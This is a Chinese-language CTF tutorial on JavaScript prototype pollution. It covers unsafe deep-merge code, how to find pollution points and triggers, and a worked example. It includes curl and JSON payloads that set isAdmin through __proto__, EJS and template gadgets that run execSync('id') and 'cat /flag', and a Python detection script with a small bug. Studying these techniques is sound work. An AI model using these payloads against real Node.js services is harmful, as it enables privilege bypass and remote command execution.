原型链污染
原型链污染
本文适合
已掌握 JavaScript 对象、JSON 参数和 Node.js Web 基础的学习者。学完你能:判断对象合并是否可污染原型,区分污染点和触发点,并把污染推进到权限绕过、XSS 或服务端利用
原型链污染是 JavaScript 生态中的一类漏洞。攻击者通过控制对象属性合并、解析或赋值过程,污染 Object.prototype 等原型对象,从而影响后续对象行为。
一句话判断
当应用把用户可控 JSON、query、form、YAML 或配置对象递归合并到普通对象里,并且没有过滤 __proto__、constructor.prototype 时,就要怀疑原型链污染。
原型链污染必须同时证明两件事:污染点能写入原型,触发点会读取被污染的属性。只证明能传 __proto__ 不等于已经能利用。
题目中常见信号
- 技术栈是 Node.js、Express、Koa、NestJS、前端 SPA 或使用 Lodash/qs/minimist/yaml 等对象解析库。
- 接口接收任意 JSON 配置、用户偏好、模板选项、主题设置、过滤条件或深层对象。
- 请求参数形如
a[b][c]=1、settings.theme.color=...、constructor[prototype][x]=...。 - 代码里有
merge、extend、defaultsDeep、递归赋值、Object.assign配置合并。 - 权限判断使用
if (user.isAdmin),模板配置读取options.xxx,但对象自身未显式定义该属性。 - 发送污染请求后,另一个普通对象的响应行为发生变化。
核心概念
JavaScript 对象读取属性时会沿原型链查找。攻击者如果能污染 Object.prototype,后续普通对象可能“继承”攻击者设置的属性。漏洞的完整链条通常分两段:
- 污染点:不安全合并、解析或赋值让特殊键写入原型。
- 触发点:后续业务逻辑读取缺省属性,并把它当成权限、模板、命令参数或渲染内容。
污染不一定等于 RCE。常见结果包括权限绕过、配置篡改、客户端 XSS、模板选项注入、拒绝服务。是否能命令执行,取决于具体框架和可用 gadget。
最小分析流程
- 找到能传复杂对象的入口:JSON body、query 嵌套参数、form、YAML、配置导入。
- 发送随机标记污染 payload,避免使用通用字段造成误判。
- 在另一个请求或后续功能中验证普通对象是否继承该随机属性。
- 区分自身属性和原型属性:目标对象响应中出现值,还要确认不是服务端直接回显了输入。
- 寻找触发点:权限字段、模板配置、渲染选项、命令参数、路径参数、过滤开关。
- 把随机属性替换成触发点需要的字段,验证业务效果。
最小验证示例
测试 JSON 合并接口:
curl -X POST http://target/api/profile \
-H "Content-Type: application/json" \
-d '{"__proto__":{"pp_marker":"s_check_123"}}'再请求一个会创建新对象的接口:
curl http://target/api/debug-object如果响应里出现新对象拥有 pp_marker=s_check_123,说明污染可能成立。继续测试权限触发点:
curl -X POST http://target/api/profile \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
curl http://target/api/admin -H "Cookie: session=USER"若普通用户能访问管理员接口,完整链条就是对象合并污染 -> 原型属性继承 -> 权限判断误信。
常见利用 / 解题路线
路线总览:
- 权限绕过路线:污染
isAdmin、role、canEdit、authenticated等缺省属性。 - 模板配置路线:污染模板引擎选项,例如 EJS/Pug/Handlebars 的危险配置,寻找已知 gadget。
- 客户端 XSS 路线:污染前端渲染选项、HTML sanitizer 配置、路由配置或组件属性。
- 命令参数路线:污染
shell、env、argv0、execArgv等被后续进程创建读取的选项。 - 拒绝服务路线:污染常用方法或关键配置导致序列化、渲染或鉴权异常。
- 依赖版本路线:识别 Lodash、qs、minimist、flat、yaml 等库版本,结合已知污染入口和修复点。
JavaScript 原型链
JavaScript 对象读取属性时,如果自身没有这个属性,会沿着原型链继续查找。
很多普通对象最终都会继承自 Object.prototype。
如果攻击者能往公共原型上写属性,后续很多对象都可能“凭空”拥有这个属性。
污染入口
常见危险键名:
__proto__
constructor
prototype常见场景:
- 深度合并对象。
- 解析 JSON 后递归赋值。
- 查询字符串转对象。
- YAML 或配置加载。
- 模板参数合并。
如果库或代码没有过滤这些特殊键,就可能污染原型。
污染能造成什么
影响权限判断:
if (user.isAdmin) ...如果普通对象从原型链读到了 isAdmin=true,就可能绕过逻辑。
影响模板渲染、命令参数、文件路径、过滤选项。
在特定框架和 gadget 下,原型链污染甚至可能走到 RCE。
但不是所有污染都能直接命令执行。
服务端和客户端
客户端原型链污染可能影响浏览器页面逻辑。
服务端 Node.js 原型链污染可能影响后端对象、模板、配置和执行流程。
CTF 中服务端污染更容易成为高危链条,但客户端污染也可能用于 XSS 或逻辑绕过。
JavaScript 原型链机制详解
每个 JavaScript 对象都有一个内部链接指向它的原型对象。当你访问一个属性时,如果对象自身没有这个属性,引擎会沿着原型链向上查找,直到找到或者到达 null。
// 原型链查找过程演示
const parent = { greet: "hello" };
const child = Object.create(parent);
child.name = "test";
console.log(child.name); // "test" - 自身属性
console.log(child.greet); // "hello" - 从 parent 找到
console.log(child.__proto__ === parent); // true所有普通对象最终继承自 Object.prototype。如果攻击者修改了 Object.prototype 上的属性,所有对象都会受到影响。
// 原型链层级演示
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
console.log(Object.prototype.__proto__); // null
// 数组的原型链
const arr = [];
console.log(arr.__proto__ === Array.prototype); // true
console.log(arr.__proto__.__proto__ === Object.prototype); // true深度合并函数的危险
很多库提供了深度合并对象的功能,例如 Lodash 的 _.merge()、extend() 等。如果合并时没有过滤 __proto__、constructor、prototype 等键名,就可能产生原型链污染。
// 不安全的深度合并实现
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// 正常使用
const a = { role: "user" };
const b = { role: "admin" };
merge(a, b);
console.log(a.role); // "admin"
// 攻击者构造恶意输入
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
const normalObj = {};
merge(normalObj, malicious);
// 此时所有对象都受到影响
const newUser = {};
console.log(newUser.isAdmin); // true - 被污染了Node.js 中的原型链污染利用
在 Node.js 服务端环境中,原型链污染可以影响后端逻辑、模板引擎和配置对象。
// 场景1: 权限绕过
// 服务端代码
function checkAdmin(user) {
if (user.isAdmin) {
return "Welcome admin";
}
return "Access denied";
}
// 攻击者通过原型链污染注入 isAdmin
Object.prototype.isAdmin = true;
// 任何新创建的对象都会继承这个属性
const normalUser = { name: "guest", role: "user" };
console.log(checkAdmin(normalUser)); // "Welcome admin" - 被绕过// 场景2: 模板引擎 RCE (以 EJS 为例)
// 恶意 JSON 输入
const payload = '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\'child_process\').execSync(\'id\');x"}}';
// 如果这个 JSON 被不安全地合并到模板配置中
// 后续渲染模板时可能触发命令执行属性注入检测脚本
可以用 Python 来探测目标服务是否存在原型链污染:
import requests
import json
import random
import string
def detect_prototype_pollution(url, params=None, headers=None):
"""探测原型链污染"""
# 生成随机标记
marker = ''.join(random.choices(string.ascii_lowercase, k=8))
# 构造污染 payload
payloads = [
{json.dumps({"__proto__": {"polluted": marker}})},
{json.dumps({"constructor": {"prototype": {"polluted": marker}}})},
]
for payload in payloads:
data = json.loads(payload)
try:
# 发送污染请求
resp = requests.post(url, json=data, headers=headers)
# 验证污染是否生效
check_data = {"test": "normal"}
check_resp = requests.post(url, json=check_data, headers=headers)
if marker in check_resp.text:
print(f"[!] 原型链污染成功: {payload}")
return True
except Exception as e:
print(f"[-] 请求失败: {e}")
print("[*] 未检测到原型链污染")
return False
# 使用示例
# detect_prototype_pollution("http://target.com/api/merge")实际 CTF 利用流程
在 CTF 中遇到原型链污染题目,通常按以下步骤进行:
1. 找到可控的合并/赋值操作 (JSON 解析、form 数据、query 参数)
2. 确认是否存在 __proto__ 或 constructor 过滤
3. 尝试注入测试属性,验证污染是否生效
4. 寻找触发点 (权限检查、模板渲染、命令参数等)
5. 构造完整 exploit# CTF 中常见的污染测试流程
import requests
base = "http://challenge.example.com"
# 步骤1: 探测污染入口
# 尝试不同的输入方式
test_payloads = [
# JSON body
{"__proto__": {"testProp": "pwned"}},
# URL 参数形式
"__proto__[testProp]=pwned",
# form 表单
"data[__proto__][testProp]=pwned",
]
# 步骤2: 验证污染效果
# 创建新对象看是否继承了污染属性
verify_resp = requests.get(f"{base}/api/userinfo")
# 步骤3: 构造实际利用
# 根据触发点构造最终 payload
exploit = {
"__proto__": {
"role": "admin",
"isAdmin": True,
"template": "{{constructor.constructor('return this')().process.mainModule.require('child_process').execSync('cat /flag').toString()}}"
}
}常见污染工具和库
用途:手动测试 JSON/表单参数中的 __proto__
用途:GitHub 上的 PoC 集合
用途:静态分析 Node.js 代码中的危险函数
用途:检测已知存在漏洞的 JS 库版本
常见失败原因
- 以为能设置
__proto__就一定 RCE:先证明污染,再找 gadget;没有触发点时只能算污染能力。 - 把输入回显当污染成功:必须用随机标记,并在独立请求或新对象中验证继承效果。
- 忽略污染点和触发点分离:一个接口负责污染,另一个接口才读取污染属性。
- 只关注 JSON:querystring、form、YAML、配置上传、CLI 参数也可能解析成对象。
- 不区分自身属性和原型属性:如果对象自身已有
isAdmin:false,原型上的isAdmin:true不会覆盖它。 - 污染后无法复原:测试时用随机字段,必要时重启实例或等待容器重置,避免影响后续判断。
- 盲套 EJS gadget:模板版本、配置路径和渲染调用方式不同,先确认污染字段被模板读取。
迷你案例
题目有 /api/settings,会把用户 JSON 合并到默认配置。先污染随机字段:
{"__proto__":{"pp_marker":"ok_531"}}随后访问 /api/me,响应里新增 pp_marker,说明新建用户对象从原型链读到了该属性。源码里管理员检查是:
if (user.isAdmin) return flag发送第二个 payload:
{"constructor":{"prototype":{"isAdmin":true}}}再次访问 /api/admin/flag 得到 flag。这个案例的闭环是:配置合并入口 -> 随机属性验证污染 -> 找到权限触发点 -> 污染 isAdmin -> 管理接口绕过。